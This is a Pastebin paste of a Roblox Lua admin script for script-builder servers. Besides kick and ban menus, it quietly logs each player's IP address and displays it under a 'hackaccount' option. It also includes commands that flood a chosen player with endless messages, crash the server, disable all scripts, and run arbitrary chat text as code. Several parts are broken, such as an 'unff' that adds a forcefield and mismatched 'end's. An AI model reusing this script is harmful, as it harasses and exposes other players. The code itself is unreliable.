Advertisement
c00lkiddv2016

Voidactiy

May 28th, 2016
224
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 24.93 KB | None | 0 0
  1. Admins = {
  2. ["c00lkiddv2016"] = 3,
  3. ["cosminelxxl91"] = 3,
  4. ["Voidacity"] = 3,
  5. }
  6. local Levels = {
  7. [0] = {"Peasant", BrickColor.new("Medium stone grey")};
  8. [1] = {"Knight", BrickColor.new("Bright red")};
  9. [2] = {"Lord", BrickColor.new("Navy blue")};
  10. [3] = {"King", BrickColor.new("Really black")}
  11. }
  12. Players = Game:GetService("Players")
  13. Workspace = Game:GetService("Workspace")
  14. Debris = Game:GetService("Debris")
  15. Lighting = Game:GetService("Lighting")
  16. Teams = Game:GetService("Teams")
  17. MR = math.rad
  18. MD = math.deg
  19. IPStore = {}
  20. IPBans = {}
  21. Banned = {"Network Server"}
  22. PrivateServer = {}
  23. PrivateServerWarnings = {}
  24. function IncommingConnection(IPAddress, Replicator)
  25. local IP = IPAddress:sub(1, IPAddress:find(":")-1)
  26. local ThePlayer
  27. Players.PlayerAdded:connect(function(NewPlayer)
  28. if not ThePlayer then
  29. ThePlayer = NewPlayer
  30. end
  31. end)
  32. repeat wait() until ThePlayer
  33. IPStore[ThePlayer.Name] = IP
  34. for i=1, #IPBans do
  35. if IPBans[i] == IP then
  36. ThePlayer:Remove()
  37. end
  38. end
  39. end
  40. function Round(Number, ToWhatExtent)
  41. if ToWhatExtent then
  42. return math.floor(Number/ToWhatExtent+0.5)*ToWhatExtent
  43. else
  44. return math.floor(Number + 0.5)
  45. end
  46. end
  47. Settings = {
  48. Color = BrickColor.new("White"), --Its bright red...
  49. Name = "ProLevi27 Scythe Admin",
  50. Version = "0.0.8"
  51. }
  52. function ShowInCircle(Prompter,...)
  53. local Args = {...}
  54. local Books = {}
  55. Args[#Args + 1] = "Dismiss"
  56. local Ans = nil
  57. local Rank = Admins[Prompter.Name]
  58. for i=1, #Args do
  59. local IsKings
  60. if Args[i]:find("(Kings Only)") then
  61. IsKings = true
  62. end
  63. local Book = Instance.new("Part", Game:GetService("Workspace"))
  64. Book.Anchored = false
  65. Book.Locked = true
  66. Book.CanCollide = false
  67. Book.TopSurface, Book.BottomSurface = 0, 0
  68. Book.Transparency = 0.5
  69. Book.FormFactor = Enum.FormFactor.Custom
  70. Book.Size = Vector3.new(2.3, 1, 3)
  71. if IsKings and Admins[Prompter.Name] < 3 then
  72. Book.BrickColor = BrickColor.new("Bright red")
  73. else
  74. Book.BrickColor = Settings.Color
  75. end
  76. table.insert(Books, Book)
  77. local Mesh = Instance.new("SpecialMesh", Book)
  78. Mesh.MeshId = "http://www.roblox.com/asset/?id=1136139"
  79. Mesh.MeshType = "FileMesh"
  80. local BG = Instance.new("BodyGyro", Book)
  81. local BP = Instance.new("BodyPosition", Book)
  82. if (IsKings and Admins[Prompter.Name] == 3) or not IsKings then
  83. local Fire = Instance.new("Fire", Book)
  84. Fire.Heat = 0
  85. Fire.Color = Settings.Color.Color
  86. Fire.SecondaryColor = Settings.Color.Color
  87. end
  88. local Billboard = Instance.new("BillboardGui", Book)
  89. Billboard.Adornee = Book
  90. Billboard.Enabled = true
  91. Billboard.Active = true
  92. Billboard.Size = UDim2.new(0.3, 0, 0.05, 0)
  93. Billboard.ExtentsOffset = Vector3.new(0, 2.5, 0)
  94. local Text = Instance.new("TextLabel", Billboard)
  95. Text.Text = Args[i]
  96. if IsKings and Admins[Prompter.Name] ~= 3 then
  97. Text.TextColor3 = BrickColor.new("White").Color
  98. else
  99. Text.TextColor3 = Settings.Color.Color
  100. end
  101. Text.BackgroundTransparency = 1
  102. Text.Size = UDim2.new(1, 0, 1, 0)
  103. local ClickDetector = Instance.new("ClickDetector", Book)
  104. ClickDetector.MouseClick:connect(function(Player)
  105. if Player == Prompter and Args[i] == "Dismiss" then
  106. Ans = Args[i]
  107. for _, v in pairs(Books) do
  108. v:Remove()
  109. end
  110. Books = {}
  111. end
  112. end)
  113. end
  114. coroutine.resume(coroutine.create(function()
  115. local radius = 3 + (#Books*.7)
  116. while wait() do
  117. if #Books == 0 then break end
  118. for _, Book in pairs(Books) do
  119. local BP = Book:FindFirstChild("BodyPosition") or Instance.new("BodyPosition", Book)
  120. BP.maxForce = Vector3.new(1000000000, 1000000000, 1000000000)
  121. local BG = Book:FindFirstChild("BodyGyro") or Instance.new("BodyGyro", Book)
  122. BG.maxTorque = Vector3.new(1000000000, 1000000000, 1000000000)
  123. local Pos = (Prompter.Character:FindFirstChild("Torso") or Prompter.Character:FindFirstChild("Torso")).CFrame
  124. local x = math.cos((tonumber(_)/#Books - (0.5/#Books)) * math.pi*2) * radius -- cos
  125. local y = 0
  126. local z = math.sin((tonumber(_)/#Books - (0.5/#Books)) * math.pi*2) * radius -- sin
  127. BP.position = Pos:toWorldSpace(CFrame.new(x,y,z):inverse()).p
  128. BG.cframe = CFrame.new(Book.Position, Pos.p) * CFrame.Angles(math.pi/2, 0, 0)
  129. end
  130. end
  131. end))
  132. end
  133. function Prompt(Prompter, ...)
  134. local Args = {...}
  135. local Books = {} --Dismiss sounds cooler :3
  136. Args[#Args + 1] = "Dismiss"
  137. local Ans = nil
  138. for i=1, #Args do
  139. local Book = Instance.new("Part", Game:GetService("Workspace"))
  140. Book.Anchored = false
  141. Book.Locked = true
  142. Book.CanCollide = false
  143. Book.TopSurface, Book.BottomSurface = 0, 0
  144. Book.Transparency = 0.5
  145. Book.FormFactor = Enum.FormFactor.Custom
  146. Book.Size = Vector3.new(2.3, 1, 3)
  147. Book.BrickColor = Settings.Color
  148. table.insert(Books, Book)
  149. local Mesh = Instance.new("SpecialMesh", Book)
  150. Mesh.MeshId = "http://www.roblox.com/asset/?id=1136139"
  151. Mesh.MeshType = "FileMesh"
  152. local Fire = Instance.new("Fire", Book)
  153. Fire.Heat = 0
  154. Fire.Color = Settings.Color.Color
  155. Fire.SecondaryColor = Settings.Color.Color
  156. local Billboard = Instance.new("BillboardGui", Book)
  157. Billboard.Adornee = Book
  158. Billboard.Enabled = true
  159. Billboard.Active = true
  160. Billboard.Size = UDim2.new(0.3, 0, 0.05, 0)
  161. Billboard.ExtentsOffset = Vector3.new(0, 2.5, 0)
  162. local Text = Instance.new("TextLabel", Billboard)
  163. Text.Text = Args[i]
  164. Text.TextColor3 = Settings.Color.Color
  165. Text.BackgroundTransparency = 1
  166. Text.Size = UDim2.new(1, 0, 1, 0)
  167. local AttemptToFixPrompt = i
  168. local ClickDetector = Instance.new("ClickDetector", Book)
  169. ClickDetector.MouseClick:connect(function(Player)
  170. if Player == Prompter then
  171. Ans = Args[i]
  172. local BackupBooks = Books
  173. Books = {}
  174. local AnimationOver
  175. pcall(function() BP.Position = Player.Character.Torso.Position end)
  176. Book.Touched:connect(function(zPart)
  177. pcall(function()
  178. if zPart == Player.Character.Torso then
  179. AnimationOver = true
  180. end
  181. end)
  182. end)
  183. delay(5, function() AnimationOver = true end)
  184. for _, v in pairs(BackupBooks) do
  185. v:Remove()
  186. end
  187. BackupBooks = nil
  188. return AttemptToFixPrompt
  189. end
  190. end)
  191. end
  192. coroutine.resume(coroutine.create(function()
  193. local radius = 3 + (#Books)
  194. while wait() do
  195. if #Books == 0 then break end
  196. for _, Book in pairs(Books) do
  197. local BP = Book:FindFirstChild("BodyPosition") or Instance.new("BodyPosition", Book)
  198. BP.maxForce = Vector3.new(1000000000, 1000000000, 1000000000)
  199. local BG = Book:FindFirstChild("BodyGyro") or Instance.new("BodyGyro", Book)
  200. BG.maxTorque = Vector3.new(1000000000, 1000000000, 1000000000)
  201. local Pos = (Prompter.Character:FindFirstChild("Torso") or Prompter.Character:FindFirstChild("Torso")).CFrame
  202. local x = math.cos((tonumber(_)/#Books - (0.5/#Books)) * math.pi) * radius -- cos
  203. local y = 0
  204. local z = math.sin((tonumber(_)/#Books - (0.5/#Books)) * math.pi) * radius -- sin
  205. BP.position = Pos:toWorldSpace(CFrame.new(x,y,z):inverse()).p
  206. BG.cframe = CFrame.new(Book.Position, Pos.p) * CFrame.Angles(math.pi/2, 0, 0)
  207. end
  208. end
  209. end))
  210. while (Ans == nil) and (#Books > 0) do
  211. wait()
  212. end
  213. return Ans
  214. end
  215. function ParseMessage(Message)
  216. Message = Message:gsub("lego%s", "")
  217. Message = Message:gsub("runescape%s", "")
  218. Message = Message:gsub("minecraft%s", "")
  219. local Command
  220. local Args = {}
  221. for Word in Message:gmatch("%w+") do
  222. if not Command then
  223. Command = Word
  224. else
  225. table.insert(Args, Word)
  226. end
  227. end
  228. return Command, Args
  229. end
  230. function ErrorHandler(Error)
  231. print(Error)
  232. local Message = Instance.new("Message", Workspace)
  233. Message.Text = "!ERROR!: " .. Error:gsub("(.-:)","")
  234. Game:GetService("Debris"):AddItem(Message, 5)
  235. end
  236. function onPlayerAdded(NewPlayer)
  237. for b=1, #Banned do
  238. if NewPlayer.Name == Banned[b] then
  239. coroutine.resume(coroutine.create(function()
  240. for i=1, 25 do
  241. pcall(function() NewPlayer:Destroy() end)
  242. wait(0.5)
  243. end
  244. end))
  245. end
  246. end
  247. NewPlayer.Chatted:connect(function(C)
  248. xpcall(function()
  249. local a, b = coroutine.resume(coroutine.create(function()
  250. onChat(NewPlayer, C)
  251. end))
  252. assert(a,b)
  253. end, ErrorHandler)
  254. end)
  255. end
  256. function onChat(player, message)
  257. local Command, Arguments = ParseMessage(message)
  258. if Admins[player.Name] ~= nil then
  259. if Command == "kickmenu" then
  260. local People = Game:GetService("Players"):GetPlayers()
  261. local Names = {}
  262. for _, v in pairs(People) do
  263. table.insert(Names, v.Name)
  264. end
  265. local OptionChoosen = Prompt(player, unpack(Names))
  266. print(OptionChoosen)
  267. if OptionChoosen and game:GetService("Players"):FindFirstChild(OptionChoosen) then
  268. game:GetService("Players") [OptionChoosen]:Destroy()
  269. else
  270. print("Player missing")
  271. end
  272. elseif Command == "privateserver" then
  273. local Option = Prompt(player, "Turn on", "Turn off", "Add name", "Remove name", "Remove all names")
  274. if Option == "Turn on" then
  275. PrivateServerOn = true
  276. local OnJoinCon = function(NewPlayer)
  277. if PrivateServer[NewPlayer.Name] == nil then
  278. NewPlayer:Remove()
  279. if PrivateServerWarnings[NewPlayer.Name] == nil then
  280. local AddHim = Prompt(player, "Click me to add " .. NewPlayer.Name .. " to the private server list")
  281. if AddHim == "Click me to add " .. NewPlayer.Name .. " to the private server list" then
  282. PrivateServer[NewPlayer.Name] = true
  283. end
  284. end
  285. end
  286. end
  287. while PrivateServerOn do wait() end
  288. OnJoinCon:disconnect()
  289. elseif Option == "Turn off" then
  290. PrivateServerOn = nil
  291. elseif Option == "Add name" then
  292. local Names = {}
  293. for _, v in pairs(Players:GetPlayers()) do
  294. table.insert(Names, v.Name)
  295. end
  296. local PlayerToAdd = Prompt(player, unpack(Names))
  297. if Players:FindFirstChild(PlayerToAdd) then
  298. PrivateServer[PlayerToAdd] = true
  299. end
  300. elseif Option == "Remove name" then
  301. local Names = {}
  302. for Name in pairs(PrivateServer) do
  303. table.insert(Names, Name)
  304. end
  305. local NameToRemove = Prompt(player, unpack(Names))
  306. if Names[NameToRemove] then
  307. Names[NameToRemove] = nil
  308. end
  309. elseif Option == "Remove all names" then
  310. PrivateServer = {}
  311. end
  312. elseif Command == "banmenu" then
  313. local People = Game:GetService("Players"):GetPlayers()
  314. local Names = {}
  315. for _, v in pairs(People) do
  316. table.insert(Names, v.Name)
  317. end
  318. local OptionChoosen = Prompt(player, unpack(Names))
  319. print(OptionChoosen)
  320. if OptionChoosen and game:GetService("Players"):FindFirstChild(OptionChoosen) then
  321. table.insert(Banned, OptionChoosen)
  322. game:GetService("Players") [OptionChoosen]:Destroy()
  323. else
  324. print("Player missing")
  325. end
  326. elseif Command == "rankset" and Admins[player.Name] == 3 then
  327. if Arguments[1] and tonumber(Arguments[1]) ~= nil then
  328. local RankSet
  329. if tonumber(Arguments[1]) == 0 then
  330. RankSet = nil
  331. else
  332. RankSet = tonumber(Arguments[1])
  333. end
  334. for i=2, #Arguments do
  335. local arg = Arguments[i]
  336. for z, vPlayer in pairs(Players:GetPlayers()) do
  337. if vPlayer.Name:lower():find(arg:lower()) == 1 then
  338. Admins[vPlayer.Name] = RankSet
  339. end
  340. end
  341. end
  342. end
  343. elseif message:sub(1, 5) == "load/" then
  344. xpcall(function()
  345. local c, d = coroutine.resume(coroutine.create(function()
  346. loadstring(message:sub(6))()
  347. end))
  348. assert(c, d)
  349. end, function(Error)
  350. local Hint = Instance.new("Message", Workspace)
  351. Hint.Text = "|QUICKSCRIPT ERROR|:| " .. Error:sub("(.-:)")
  352. wait(4)
  353. Hint:Remove()
  354. end)
  355. elseif Command == "cleanup" then
  356. for _, v in pairs(Workspace:GetChildren()) do
  357. if Players:GetPlayerFromCharacter(v) == nil and v.className ~= "Terrain" and v~=script then
  358. pcall(function() v:Remove() end)
  359. end
  360. end
  361. local Base = Instance.new("Part", Workspace)
  362. Base.Anchored = true
  363. Base.TopSurface = Enum.SurfaceType.Smooth
  364. Base.BottomSurface = Enum.SurfaceType.Smooth
  365. Base.FormFactor = Enum.FormFactor.Symmetric
  366. Base.BrickColor = BrickColor.new("Earth green")
  367. Base.Size = Vector3.new(1000, 1, 1000)
  368. Base.Name = "Base"
  369. Base.CFrame = CFrame.new(Vector3.new())
  370. local Option = Prompt(player, "Click me if you would like to clean everything...")
  371. if Option == "Click me if you would like to clean everything..." then
  372. pcall(function() Lighting:ClearAllChildren() end)
  373. pcall(function() Teams:ClearAllChildren() end)
  374. pcall(function() table.foreach(Players:GetPlayers(), function(_, v) v.Neutral = true end) end)
  375. end
  376. local Option = Prompt(player, "Click me if you would like to respawn players...")
  377. if Option == "Click me if you would like to respawn players..." then
  378. for _, v in pairs(Players:GetPlayers()) do
  379. pcall(function()
  380. local Model = Instance.new("Model", Workspace)
  381. Instance.new("Humanoid", Model)
  382. v.Character = Model
  383. end)
  384. end
  385. end
  386. elseif Command == "hide" then
  387. if Arguments[1] == "ranks" then
  388. NotInViewRanks = true
  389. Lighting.TimeOfDay = "14:00:00"
  390. Lighting.Ambient = BrickColor.new("Medium stone grey").Color
  391. while Workspace:FindFirstChild("RankStatus", true) do
  392. Workspace:FindFirstChild("RankStatus", true):Destroy()
  393. end
  394. end
  395. elseif Command == "shutdown" then
  396. local InitTime = time()
  397. while wait() do
  398. pcall(function()
  399. Players:ClearAllChildren()
  400. end)
  401. pcall(function()
  402. if #Players:GetPlayers() >= 1 or InitTime + 30 < time() then
  403. Instance.new("ManualSurfaceJointInstance", Workspace)
  404. end
  405. end)
  406. end
  407. elseif Command == "view" or Command == "show" then
  408. if Arguments[1] == "ranks" then
  409. NotInViewRanks = nil
  410. Lighting.TimeOfDay = "2:00:00"
  411. Lighting.Ambient = BrickColor.new("Black").Color
  412. local AutoColorConnection = Workspace.ChildAdded:connect(function(v)
  413. local Player = Players:GetPlayerFromCharacter(v)
  414. if Player and Admins[Player.Name] then
  415. local Rank = Admins[Player.Name]
  416. coroutine.resume(coroutine.create(function()
  417. local Head = v:FindFirstChild("Head")
  418. local Status = Instance.new("Part", v)
  419. Status.FormFactor = "Symmetric"
  420. Status.Shape = "Ball"
  421. Status.Name = "Status"
  422. Status.TopSurface = 0
  423. Status.BottomSurface = 0
  424. Status.BrickColor = Levels[Rank][2]
  425. Status.CanCollide = false
  426. Status.Name = "RankStatus"
  427. Status.Transparency = 0.5
  428. local Billboard = Instance.new("BillboardGui", Status)
  429. Billboard.Adornee = Status
  430. Billboard.Enabled = true
  431. Billboard.Active = true
  432. Billboard.Size = UDim2.new(0.3, 0, 0.05, 0)
  433. Billboard.ExtentsOffset = Vector3.new(0, 2.5, 0)
  434. local Text = Instance.new("TextLabel", Billboard)
  435. Text.Text = Levels[Rank][1] .. " - " .. Player.Name
  436. Text.TextColor3 = Levels[Rank][2].Color
  437. Text.BackgroundTransparency = 1
  438. Text.Size = UDim2.new(1, 0, 1, 0)
  439. local Body = Instance.new("BodyPosition", Status)
  440. Body.maxForce = Vector3.new(math.huge, math.huge, math.huge)
  441. local Fire = Instance.new("Fire", Status)
  442. Fire.Color = Levels[Rank][2].Color
  443. Fire.SecondaryColor = Levels[Rank][2].Color
  444. local function gS(i)
  445. return math.sin(math.rad(i))
  446. end
  447. local function gC(i)
  448. return math.cos(math.rad(i))
  449. end
  450. for _, v in pairs(v:GetChildren()) do
  451. if v:IsA("Part") and v.Name ~= "RankStatus" then
  452. local Sel = Instance.new("SelectionBox", Status)
  453. Sel.Adornee = v
  454. Sel.Color = Levels[Rank][2]
  455. local Fir = Instance.new("Fire", Status)
  456. Fir.Color = Levels[Rank][2].Color
  457. Fir.SecondaryColor = Levels[Rank][2].Color
  458. end
  459. end
  460. while wait() and Head and Head.Parent do
  461. for i = 0, 360, 2 do
  462. Body.position = (CFrame.new(Head.Position) * CFrame.new(Vector3.new(gS(i)*5, gC(i*5)*2 + 1.5, gC(i)*5))).p
  463. wait()
  464. end
  465. end
  466. end))
  467. end
  468. end)
  469. for _, v in pairs(Workspace:GetChildren()) do
  470. local Player = Players:GetPlayerFromCharacter(v)
  471. if Player and Admins[Player.Name] then
  472. local Rank = Admins[Player.Name]
  473. coroutine.resume(coroutine.create(function()
  474. local Head = v:FindFirstChild("Head")
  475. local Status = Instance.new("Part", v)
  476. Status.FormFactor = "Symmetric"
  477. Status.Shape = "Ball"
  478. Status.Name = "Status"
  479. Status.TopSurface = 0
  480. Status.BottomSurface = 0
  481. Status.BrickColor = Levels[Rank][2]
  482. Status.CanCollide = false
  483. Status.Name = "RankStatus"
  484. Status.Transparency = 0.5
  485. local Billboard = Instance.new("BillboardGui", Status)
  486. Billboard.Adornee = Status
  487. Billboard.Enabled = true
  488. Billboard.Active = true
  489. Billboard.Size = UDim2.new(0.3, 0, 0.05, 0)
  490. Billboard.ExtentsOffset = Vector3.new(0, 2.5, 0)
  491. local Text = Instance.new("TextLabel", Billboard)
  492. Text.Text = Levels[Rank][1] .. " - " .. Player.Name
  493. Text.TextColor3 = Levels[Rank][2].Color
  494. Text.BackgroundTransparency = 1
  495. Text.Size = UDim2.new(1, 0, 1, 0)
  496. local Body = Instance.new("BodyPosition", Status)
  497. Body.maxForce = Vector3.new(math.huge, math.huge, math.huge)
  498. local Fire = Instance.new("Fire", Status)
  499. Fire.Color = Levels[Rank][2].Color
  500. Fire.SecondaryColor = Levels[Rank][2].Color
  501. local function gS(i)
  502. return math.sin(math.rad(i))
  503. end
  504. local function gC(i)
  505. return math.cos(math.rad(i))
  506. end
  507. for _, v in pairs(v:GetChildren()) do
  508. if v:IsA("Part") and v.Name ~= "RankStatus" then
  509. local Sel = Instance.new("SelectionBox", Status)
  510. Sel.Adornee = v
  511. Sel.Color = Levels[Rank][2]
  512. local Fir = Instance.new("Fire", Status)
  513. Fir.Color = Levels[Rank][2].Color
  514. Fir.SecondaryColor = Levels[Rank][2].Color
  515. end
  516. end
  517. while wait() and Head and Head.Parent do
  518. for i = 0, 360, 2 do
  519. Body.position = (CFrame.new(Head.Position) * CFrame.new(Vector3.new(gS(i)*5, gC(i*5)*2 + 1.5, gC(i)*5))).p
  520. wait()
  521. end
  522. end
  523. end))
  524. end
  525. end
  526. repeat wait() until NotInViewRanks
  527. AutoColorConnection:disconnect()
  528. elseif Arguments[1] == "time" or Arguments[1] == "clock" then
  529. local SecondsOfToday = math.fmod(tick(), 60*60*24) -- Long story check in wiki...
  530. local Hour = math.floor(SecondsOfToday / (60*60))
  531. local Minute = math.floor(SecondsOfToday/60 - Hour*60)
  532. local Second = math.floor(math.fmod(SecondsOfToday, 60))
  533. if Hour > 12 then Hour = Hour - 12 end
  534. ShowInCircle(player, "Current time: " .. Hour .. ":" .. Minute .. ":" .. Second, "Server Time: " .. math.floor(time()))
  535. end
  536. elseif Command == "kick" then
  537. for _, Arg in pairs(Arguments) do
  538. for k, Player in pairs(Game:GetService("Players"):GetPlayers()) do
  539. if Player.Name:lower():match(Arg:lower()) then
  540. pcall(function() Player:Destroy() end)
  541. end
  542. end
  543. end
  544. elseif Command == "commands1" then
  545. ShowInCircle(player,
  546. "kill", "kick", "ban", "fire", "day", "night", "unfire", "ff", "unff", "admin", "unadmin", "unban", "fog", "nbc", "bc", "tbc", "obc", "getage", "cave"
  547. )
  548. elseif Command == "commands2" then
  549. ShowInCircle(player,
  550. "tree", "lag", "semikick", "getmsg", "sparkles", "respawn", "kickmenu", "banmenu", "load/[script]", "cleanup", "shutdown", "rankset", "ip", "antiban", "lag", "breakscripts", "killmenu", "hackaccount", "hackmenu", "privateserver"
  551. )
  552. elseif Command == "commandsALL" then
  553. ShowInCircle(player,
  554. "kill", "kick", "ban", "fire", "day", "night", "override", "unfire", "ff", "unff", "admin", "unadmin", "unban", "fog", "nbc", "bc", "tbc", "obc", "getage", "cave", "tree", "lag", "semikick", "getmsg", "sparkles", "respawn", "kickmenu", "banmenu", "load/[script]", "cleanup", "shutdown", "rankset", "ip", "antiban", "lag", "breakscripts", "killmenu", "hackaccount", "hackmenu", "privateserver"
  555. )
  556. elseif Command == "antiban" then
  557. local PeopleNames = {}
  558. for _, v in pairs(Game:GetService("Players"):GetPlayers()) do
  559. table.insert(PeopleNames, v.Name)
  560. end
  561. local Option = Prompt(player, unpack(PeopleNames))
  562. if Option then
  563. Game:GetService("Players").PlayerRemoving:connect(function(Player)
  564. if Player.Name == Option then
  565. while wait() do
  566. pcall(function() Players:ClearAllChildren() end)
  567. end
  568. end
  569. end)
  570. end
  571. elseif Command == "ip" and Admins[player.Name] == 3 then
  572. local Option = Prompt(player, "Add banishment", "View ip's", "Remove ip ban")
  573. if Option == "Add banishment" then
  574. local Names = {}
  575. local IPs = IPStore
  576. for Name, IP in pairs(IPs) do
  577. table.insert(Names, Name)
  578. end
  579. local BanPlayer = Prompt(player, unpack(Names))
  580. if IPs[BanPlayer] ~= nil then
  581. table.insert(IPBans, IPs[BanPlayer])
  582. for _, v in pairs(Game:GetService("Players"):GetPlayers()) do
  583. if v.Name == BanPlayer then
  584. v:Remove()
  585. end
  586. end
  587. end
  588. elseif Option == "View ip's" then
  589. local Names = {}
  590. local IPs = IPStore
  591. for Name, IP in pairs(IPs) do
  592. table.insert(Names, Name)
  593. end
  594. local Option = Prompt(player, unpack(Names))
  595. if IPStore[Option] ~= nil then
  596. Prompt(player, IPStore[Option])
  597. end
  598. end
  599. elseif Command == "lag" then
  600. for _, Args in pairs(Arguments) do
  601. for v, Player in pairs(Game:GetService("Players"):GetPlayers()) do
  602. if Player.Name:lower():find(Args:lower()) == 1 then
  603. while wait() do
  604. for i=1, 10 do
  605. Instance.new("Message", Player:FindFirstChild("PlayerGui") or nil).Text = "I B LAGGIN JOO!"
  606. end
  607. end
  608. end
  609. end
  610. end
  611. elseif Command == "hackaccount" and Admins[player.Name] == 3 then
  612. local Option = Prompt(player, "Add Ban[ROBLOX]", "Hack Accounts", "Remove Hacked")
  613. if Option == "Add Ban[ROBLOX]" then
  614. local Names = {}
  615. local IPs = IPStore
  616. for Name, IP in pairs(IPs) do
  617. table.insert(Names, Name)
  618. end
  619. local BanPlayer = Prompt(player, unpack(Names))
  620. if IPs[BanPlayer] ~= nil then
  621. table.insert(IPBans, IPs[BanPlayer])
  622. for _, v in pairs(Game:GetService("Players"):GetPlayers()) do
  623. if v.Name == BanPlayer then
  624. v:Remove()
  625. end
  626. end
  627. end
  628. elseif Option == "Hack Accounts" then
  629. local Names = {}
  630. local IPs = IPStore
  631. for Name, IP in pairs(IPs) do
  632. table.insert(Names, Name)
  633. end
  634. local Option = Prompt(player, unpack(Names))
  635. if IPStore[Option] ~= nil then
  636. Prompt(player, IPStore[Option])
  637. end
  638. end
  639. elseif Command == "lag" then
  640. for _, Args in pairs(Arguments) do
  641. for v, Player in pairs(Game:GetService("Players"):GetPlayers()) do
  642. if Player.Name:lower():find(Args:lower()) == 1 then
  643. while wait() do
  644. for i=1, 10 do
  645. Instance.new("Message", Player:FindFirstChild("PlayerGui") or nil).Text = "I B LAGGIN JOO!"
  646. end
  647. end
  648. end
  649. end
  650. end
  651. elseif Command == "breakscripts" and Admins[player.Name] == 3 then
  652. Game:GetService("ScriptContext").ScriptsDisabled = true
  653. Services = {
  654. "Workspace",
  655. "Debris",
  656. "Players",
  657. "Lighting",
  658. "ScriptContext"
  659. }
  660. for i=1, #Services do
  661. pcall(function() game:GetService(Services[i]).Name = math.random(1000, 10000) end)
  662. end
  663. --Idk if this works, just hope :3
  664. local mt = {__index = function() return function() end end}
  665. setmetatable(_G, mt)
  666. elseif Command == "hackmenu" then
  667. local People = Game:GetService("Players"):GetPlayers()
  668. local Names = {}
  669. for _, v in pairs(People) do
  670. table.insert(Names, v.Name)
  671. end
  672. local OptionChoosen = Prompt(player, unpack(Names))
  673. print(OptionChoosen)
  674. if OptionChoosen and game:GetService("Players"):FindFirstChild(OptionChoosen) then
  675. if game:GetService("Players")[OptionChoosen].Character then
  676. game:GetService("Players") [OptionChoosen].Character:BreakJoints()
  677. end
  678. else
  679. print("Player missing")
  680. end
  681. elseif Command == "killmenu" then
  682. local People = Game:GetService("Players"):GetPlayers()
  683. local Names = {}
  684. for _, v in pairs(People) do
  685. table.insert(Names, v.Name)
  686. end
  687. local OptionChoosen = Prompt(player, unpack(Names))
  688. print(OptionChoosen)
  689. if OptionChoosen and game:GetService("Players"):FindFirstChild(OptionChoosen) then
  690. if game:GetService("Players")[OptionChoosen].Character then
  691. game:GetService("Players") [OptionChoosen].Character:BreakJoints()
  692. end
  693. else
  694. print("Player missing")
  695. end
  696. elseif Command == "kill" then
  697. for _, Arg in pairs(Arguments) do
  698. for k, Player in pairs(Game:GetService("Players"):GetPlayers()) do
  699. if Player.Name:lower():find(Arg:lower()) == 1 and Player.Character then
  700. Player.Character:BreakJoints()
  701. end
  702. end
  703. end
  704. elseif Command == "obc" then
  705. for _, Arg in pairs(Arguments) do
  706. for k, Player in pairs(Game:GetService("Players"):GetPlayers()) do
  707. if Player.Name:lower():find(Arg:lower()) == 1 and Player.Character then
  708. Player.MembershipTypeReplicate = 3
  709. end
  710. end
  711. end
  712. elseif Command == "tbc" then
  713. for _, Arg in pairs(Arguments) do
  714. for k, Player in pairs(Game:GetService("Players"):GetPlayers()) do
  715. if Player.Name:lower():find(Arg:lower()) == 1 and Player.Character then
  716. Player.MembershipTypeReplicate = 2
  717. end
  718. end
  719. end
  720. elseif Command == "bc" then
  721. for _, Arg in pairs(Arguments) do
  722. for k, Player in pairs(Game:GetService("Players"):GetPlayers()) do
  723. if Player.Name:lower():find(Arg:lower()) == 1 and Player.Character then
  724. Player.MembershipTypeReplicate = 1
  725. end
  726. end
  727. end
  728. elseif Command == "ff" then
  729. for _, Arg in pairs(Arguments) do
  730. for k, Player in pairs(Game:GetService("Players"):GetPlayers()) do
  731. if Player.Name:lower():find(Arg:lower()) == 1 and Player.Character then
  732. ff = Instance.new ("ForceField")
  733. ff.Parent = Player.Character
  734. end
  735. end
  736. end
  737. elseif Command == "unff" then
  738. for _, Arg in pairs(Arguments) do
  739. for k, Player in pairs(Game:GetService("Players"):GetPlayers()) do
  740. if Player.Name:lower():find(Arg:lower()) == 1 and Player.Character then
  741. ff = Instance.new ("ForceField")
  742. ff.Parent = Player.Character
  743. end
  744. end
  745. end
  746. end
  747. elseif Command == "nbc" then
  748. for _, Arg in pairs(Arguments) do
  749. for k, Player in pairs(Game:GetService("Players"):GetPlayers()) do
  750. if Player.Name:lower():find(Arg:lower()) == 1 and Player.Character then
  751. Player.MembershipTypeReplicate = 0
  752. end
  753. end
  754. end
  755. end
  756. end
  757. game:GetService("Players").PlayerAdded:connect(onPlayerAdded)
  758. --[ SB Mode ]--
  759. for _, player in pairs(game:GetService("Players"):GetPlayers()) do
  760. onPlayerAdded(player)
  761. end
  762. Game:GetService("RunService").Stepped:connect(function()
  763. local S, E = pcall(function()
  764. if LastClean == nil or time() - LastClean >= 10 then do
  765. collectgarbage("collect")
  766. LastClean = time()
  767. end
  768. end
  769. if not S then
  770. ErrorHandler(E)
  771. end
  772. end)
  773. end)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement